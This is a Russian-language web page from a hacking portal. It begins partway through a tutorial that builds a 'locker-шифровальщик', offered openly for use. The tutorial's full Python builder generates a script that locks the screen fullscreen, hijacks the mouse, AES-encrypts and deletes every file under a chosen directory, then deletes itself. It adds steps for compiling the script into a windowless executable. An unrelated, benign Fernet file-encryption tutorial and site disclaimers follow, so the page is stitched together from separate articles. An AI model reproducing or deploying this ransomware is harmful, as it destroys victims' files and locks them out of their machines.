root.update(); sleep(0.2); click(675, 420) # Обновление экрана программы
k=False
while k!=True: on_closing()
окно локера
Вот и все наш карманный локер готов, теперь нам надо совместить локер и шифровалльщик.
Наша программа будет действовать по очередности то есть сначала запустится локер а под ним будет работать шифровальщик.
(это уже билдер т.к отдельно писать локер-шифровальщик а потом добавит в него пару строк кода чтобы превратить его в билдер — бессмысленно, только лишний текст)
direct=input("Write the root directory for crypt: ") #пишем директорию для шифрования
password=input("Write the password for crypter: ") #пишем пароль для шифровальщика
pasw=input("Write the password for locker: ") #пишем пароль для локера
with open("cryptlocker.py","w") as crypt:
crypt.write('''
import os, sys, pyAesCrypt
from threading import *
from pyautogui import click, moveTo
from tkinter import Tk,Entry,Label
from time import sleep
def locker():
def callback(event):
global k,entry
if entry.get()=="'''+str(pasw)+'''": k=True
def block(void):
click(675, 420)
moveTo(675, 420)
root.attributes("-fullscreen",True)
root.protocol("WM_DELETE_WINDOW", block)
root.update()
root.bind('<Control-KeyPress-c>', callback)
global k,entry
root = Tk()
root.title("Locker")
root.attributes("-fullscreen",True)
entry = Entry(root,font=1)
label0=Label(root,text="Locker_by_#571",font=1)
label0.grid(row=0,column=0)
label1=Label(root,text="Write the Password and Press Ctrl+C",font='Arial 20')
label1.place(x=470,y=300)
entry.place(width=150,height=50,x=600,y=400)
root.update(); sleep(0.2)
click(675, 420)
k=False
while k!=True: block(None)
def crypter():
def crypt(file):
password="'''+str(password)+'''"
bufferSize = 512*1024
pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
print("[crypted] '"+str(file)+".crp'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path): crypt(path)
else: walk(path)
walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))
thread_1 = Thread(target=locker) #Эти функции говорят чтобы сначала запускался локер а потом шифровальщик
thread_2 = Thread(target=crypter) #
thread_1.start(); thread_2.start() #
thread_1.join(); thread_2.join() #
''')
print("[+] File 'cryptlocker.py' successfully saved!")
with open("key.py","w") as key:
key.write('''
import os, sys
def decrypt(file):
import pyAesCrypt
password="'''+str(password)+'''"
bufferSize = 512*1024
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
try: decrypt(path)
except: pass
else: walk(path)
walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))
''')
print("[+] File 'key.py' successfully saved!")
В конце концов создается два файла criptlocker.py и key.py оба удаляются после первого использования
КОМПИЛЯЦИЯ
Компилить можно через pyinstaller, py2exe, cxFreeze. Самый удобный по моему это pyinstaller, будем компилить через него.
Открываем cmd в папке с файлами и прописываем так для любого файла
pyinstaller -i названиеиконки.ico -F -w названиефайла.py
-i — параметр задающий иконку
-F — параметр собирающий все в один бинарник
-w — параметр указывающий на закрытие командной строки при запуске бинарника
(все файлы с которыми вы будете работать при компиляции должны лежать в одной паке)
Вот и все, мы написали наш locker-шифровальщик.
Шифрование — это процесс кодирования информации, позволяющий только авторизованным сторонам получить к ней доступ.
Хотим поделиться с вами, как можно шифровать файлы, используя Python с помощью библиотеки cryptography, построенной на основе алгоритма AES. Возможно кому-то, также как и нам, такой способ покажется более простым для шифрования файла с данными.
В данном примере используется симметричное шифрование. Тот же ключ, который применяется для шифрования данных, можно использовать для их дешифрования.
Итак, установим библиотеку cryptography:
pip install cryptography
Открываем новый файл Python:
from cryptography.fernet import Fernet
Создаем ключ и сохраняем его в файл, например, crypto.key:
def write_key():
# Создаем ключ и сохраняем его в файл
key = Fernet.generate_key()
with open(‘crypto.key’, ‘wb’) as key_file:
key_file.write(key)
Внимание! Сгенерированный ключ crypto.key необходимо хранить в надежном месте. В случае его потери невозможно будет расшифровывать данные, которые были зашифрованы этим ключом.
Этот ключ уникален, и нет необходимости генерировать ключ каждый раз, когда потребуется зашифровать что-либо.
Создадим функцию для загрузки этого ключа:
def load_key():
# Загружаем ключ ‘crypto.key’ из текущего каталога
return open(‘crypto.key’, ‘rb’).read()
Далее понадобится создать функцию для шифрования файла:
def encrypt(filename, key):
# Зашифруем файл и записываем его
f = Fernet(key)
После инициализации объекта Fernet с заданным ключом прочитаем этот файл:
with open(filename, ‘rb’) as file:
# прочитать все данные файла
file_data = file.read()
После этого, зашифровываем данные:
# Зашифровать данные
encrypted_data = f.encrypt(file_data)
Запишем зашифрованный файл с тем же именем, чтобы он переопределил оригинал:
# записать зашифрованный файл
with open(filename, ‘wb’) as file:
file.write(encrypted_data)
Теперь создадим функцию расшифровки файла:
def decrypt(filename, key):
# Расшифруем файл и записываем его
f = Fernet(key)
with open(filename, ‘rb’) as file:
# читать зашифрованные данные
encrypted_data = file.read()
# расшифровать данные
decrypted_data = f.decrypt(encrypted_data)
# записать оригинальный файл
with open(filename, ‘wb’) as file:
file.write(decrypted_data)
И, наконец, проверим это на конкретном файле, разместив шифруемый файл и ключ в текущем каталоге.
Например, для шифрования файла с именем ‘report.csv’вызываем созданную функцию encrypt():
# раскомментируйте следующую строку, если запускаете код впервые, чтобы сгенерировать ключ
# write_key()
# загрузить ключ
key = load_key()
# имя шифруемого файла
file = ‘report.csv’
# зашифровать файл
encrypt(file, key)
После шифрования будет видно, что размер файла ‘report.csv’увеличился, и мы не сможем прочитать содержимое этого файл.
Чтобы вернуть файл ‘report.csv’в исходную форму, вызовем функцию decrypt ():
# расшифровать файл
decrypt(file, key)
Получаем исходный файл ‘report.csv’вместо ранее зашифрованного.
Обратите внимание на то, что при применении данного кода, размер файла не должен превышать объем оперативной памяти.
Применение этого несложного кода Python даст возможность надежно защитить данные от несанкционированного доступа к ним и соблюсти требования кибербезопасности при работе с критически важной информацией. При этом установки какого-либо специального программного обеспечения не требуется.
Listen to this article
Чтобы открыть контент, необходимо пройти быструю регистрацию или войти в свой профиль. После этого Вы получите полный доступ ко всем материалам на портале.
Спасибо что вы с нами!
ВНИМАНИЕ! Все представленные ссылки в статьях могут вести на вредоносные сайты либо содержать вирусы. Переходите по ним на свой страхъ и риск. Тот кто целенаправлено зашел на статью знает что делает. Не нажимайте на все подряд бездумно.
Некоторые статьи были переведены с английского языка с помощью системы машинного перевода и могут содержать неточности или грамматические ошибки.
ВСЯ РАЗМЕЩЕННАЯ ИНФОРМАЦИЯ НА СТРАНИЦАХ ПОРТАЛА ВЗЯТА ИЗ ОТКРЫТЫХ ИСТОЧНИКОВ
БОЛЬШАЯ ЧАСТЬ ИНФОРМАЦИИ ПРЕДОСТАВЛЯЕТСЯ АБСОЛЮТНО БЕСПЛАТНО
Если Вам понравилась статья — поделитесь с друзьями
38 просмотров
Любая информация, размещенная на сайте https://rucore.net, предназначена только для свободного изучения пользователями сайта. Наша команда прилагает все усилия для того, чтобы предоставить на этом сайте достоверную и полезную информацию, которая отвечает на вопросы пользователей сайта. Ни при каких обстоятельствах Администрация Сайта не несёт ответственности за какой-либо прямой, непрямой, особый или иной косвенный ущерб в результате использования информации на этом Сайте или на любом другом сайте, на который имеется гиперссылка с данного cайта, возникновение зависимости, снижения продуктивности, увольнения или прерывания трудовой активности, а равно отчисления из учебных учреждений, за любую упущенную выгоду, приостановку хозяйственной деятельности, потерю программ или данных в Ваших информационных системах или иным образом, возникшие в связи с доступом, использованием или невозможностью использования Сайта, Содержимого или какого-либо связанного интернет-сайта, или неработоспособностью, ошибкой, упущением, перебоем, дефектом, простоем в работе или задержкой в передаче, компьютерным вирусом или системным сбоем, даже если администрация будет явно поставлена в известность о возможности такого ущерба.
Используя данный Сайт, Вы выражаете свое согласие с «Отказом от ответственности» и установленными Правилами и принимаете всю ответственность, которая может быть на Вас возложена. А так же Вы можете ознакомиться с полной версией данного «отказа от ответственности» и нашей «политики конфиденциальности» по следующей ссылке.
Цель данного раздела сайта
Основной задачей закрытого раздела сайта, является сбор (парсинг) и сохраниение в базе данных наиболее интересных и качественных материалов из разнообразных источников. Более подробней можно ознакомиться по ссылке.
Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.